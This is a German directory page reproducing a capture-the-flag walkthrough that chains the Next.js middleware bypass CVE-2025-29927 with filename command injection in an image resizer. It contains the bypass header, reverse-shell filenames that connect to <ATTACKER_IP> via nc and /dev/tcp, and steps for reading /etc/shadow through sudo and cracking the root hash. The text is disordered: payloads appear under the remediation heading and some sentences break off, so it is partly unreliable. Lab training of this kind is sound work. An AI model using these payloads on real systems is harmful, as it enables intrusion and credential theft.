Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-29927-Proof-of-Concept — Capture the Flag Herausforderung: CVE-2025-29927 in Kombination mit einer Befehlseinschleusungsschwachstelle | Kitploit
Tools/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
Passwort-CrackingPrivilege EscalationSchwachstellenanalyseWebanwendungs-ExploitationCTFCommand and ControlLernen & Bildung
GitHubsi-ni/cve-2025-29927-proof-of-concept

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-29927-Proof-of-Concept

Capture the Flag Herausforderung: CVE-2025-29927 in Kombination mit einer Befehlseinschleusungsschwachstelle

Repository anzeigen
vor 6 MonatenNoch nicht geprüft

Komplettlösung

Schritt 1 (5 Min.)

Hinweis Welche Netzwerkdienste werden vom Ziel bereitgestellt?

— — —

Lösung
root@kitploit:~

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

Schritt 2 (5 Min.)

Hinweis 1 Die Landingpage zeigt nur eine Anmeldeseite, aber Webserver legen oft zusätzliche Pfade offen.
Hinweis 2 Versuche ein Verzeichnis-Brute-Force-Tool wie Gobuster oder DirBuster.

— — —

Lösung
root@kitploit:~

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  
root@kitploit:~

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

Schritt 3 (20 Min.)

Hinweis 1 Die Seite /dashboard leitet zu /login weiter. Kannst du auf der Anmeldeseite Informationen finden, die es dir erlauben, die Weiterleitung zu umgehen?
Bild
Hinweis 2 Kannst du etwas für die Next.js-Version 15.2.2 finden?
Hinweis 3 Sieh dir CVE-2025-29927 an. Verwende den Proxy von Burp Suite, um die Anfrage abzufangen und die Anfrageheader vor dem Weiterleiten zu manipulieren.

— — —

Lösung

Hintergrund

Viele Webanwendungen schützen sensible Routen (z. B. /dashboard) mit Middleware. Die Middleware überprüft die Anfrage, validiert Sitzungscookies und bestätigt Benutzerberechtigungen. Wenn die Überprüfungen fehlschlagen, leitet die Middleware den Benutzer normalerweise zu /login weiter.

Schwachstellenmechanismus

CVE-2025-29927 ist ein Designfehler in der Verarbeitung der Next.js-Middleware. Er erlaubt einem Angreifer, den Middleware-Schutz vollständig zu umgehen, indem er den Header x-middleware-subrequest ausnutzt. Next.js verwendet diesen Header intern, um Endlosschleifen in der Middleware zu verhindern. Wenn eine Anfrage verarbeitet wird, prüft die Funktion runMiddleware die Anfrageheader:
  • Wenn x-middleware-subrequest vorhanden ist
  • und sein Wert den Middleware-Namen enthält
  • dann überspringt Next.js die Ausführung der Middleware und leitet die Anfrage direkt weiter
Dies ist als interne Optimierung gedacht, aber der Fehler besteht darin, dass externe Benutzer diesen Header ebenfalls setzen können.

Der anfällige Code

root@kitploit:~

    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  
Next.js hat eine maximale Rekursionstiefe für die Middleware-Ausführung eingeführt. Dies wurde implementiert, um Endlosschleifen zu verhindern, hat jedoch keinen Einfluss auf die Schwachstelle. Indem wir diesen Header verwenden, sagen wir der Middleware: „Dies ist bereits eine von der Middleware generierte Anfrage – führe die Middleware nicht erneut aus.“ Next.js entfernt jetzt den Header aus allen eingehenden externen Anfragen, bevor die Middleware ausgeführt wird. Der Header wird nur dann als vertrauenswürdig eingestuft, wenn er innerhalb der Next.js-Laufzeit während eines legitimen Middleware-Chainings erstellt wurde. Konkret wird der Wert von jetzt gegen eine zufällig generierte hexadezimale Zeichenfolge validiert, sodass nur legitime interne Sitzungsanfragen die Autorisierungsprüfungen bestehen. Selbst wenn ein Angreifer den Header sendet, kann Next.js nun zwischen einer echten internen Unteranfrage (die das korrekte zufällig generierte Token trägt) und einer gefälschten von einem externen Angreifer unterscheiden.

Schritt 4 (15 Min.)

Hinweis 1 Datei-Uploads sind ebenfalls durch die Middleware geschützt, daher musst du den Header aus Schritt 3 bei jeder Anfrage mitsenden.
Hinweis 2 Benutzereingaben stellen immer ein hohes Risiko dar. Was wird hier neben dem Dateiinhalt noch als Benutzereingabe betrachtet? Und kannst du auf der Seite Informationen finden, die zeigen, wie das Bild verarbeitet wird?
Hinweis 3 Probiere einige bösartige Dateinamen aus. https://www.revshells.com/

— — —

Lösung

Erklärung

root@kitploit:~

    const filename = file.name; // VULNERABLE: No sanitization!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
Der ursprüngliche Dateiname wird vom Benutzer gesteuert und kann bösartige Zeichen enthalten. Der Entwickler entfernt einige gefährliche Zeichen (Blacklist statt Whitelist). Der convert-Befehl wird mit exec() ausgeführt, und der ursprüngliche Dateiname (Benutzereingabe) wird direkt in den Shell-Befehl eingefügt. Eine mögliche Korrektur wäre, zufällig generierte Dateinamen anstelle von Benutzerdateinamen zu verwenden und eine sichere API zu nutzen, die die Shell vermeidet.

Ausnutzung

root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
bösartige Dateinamen: Die Flagge befindet sich in :

Bonus (5 Min.)

Hinweis 1 Welche sudo-Rechte hat der webuser?
Hinweis 2 Tools wie John the Ripper oder Hashcat könnten helfen. Entpacke die Datei rockyou.txt.gz mit dem Befehl gzip -d /usr/share/wordlists/rockyou.txt.gz.

— — —

Lösung
root@kitploit:~

    target@target:~$ sudo -l
    Matching Defaults entries for webuser on photoresizer:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User webuser may run the following commands on photoresizer:
      (ALL) NOPASSWD: /usr/bin/cat /etc/shadow
  
root@kitploit:~

    target@target:~$ sudo cat /etc/shadow
    root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
  
root@kitploit:~

    kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
    kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    rockyou          (root)     
    1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
  
root@kitploit:~

    target@target:~$ su - root
  
Die Flagge befindet sich in /root:
root@kitploit:~

    FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
  
Tool herunterladen

Für Versionen ab 13.2.0

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Bild
Bild

Behebung

x-middleware-subrequest
x-middleware-subrequest
root@kitploit:~

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  
Bild
root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
/home/webuser
root@kitploit:~

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}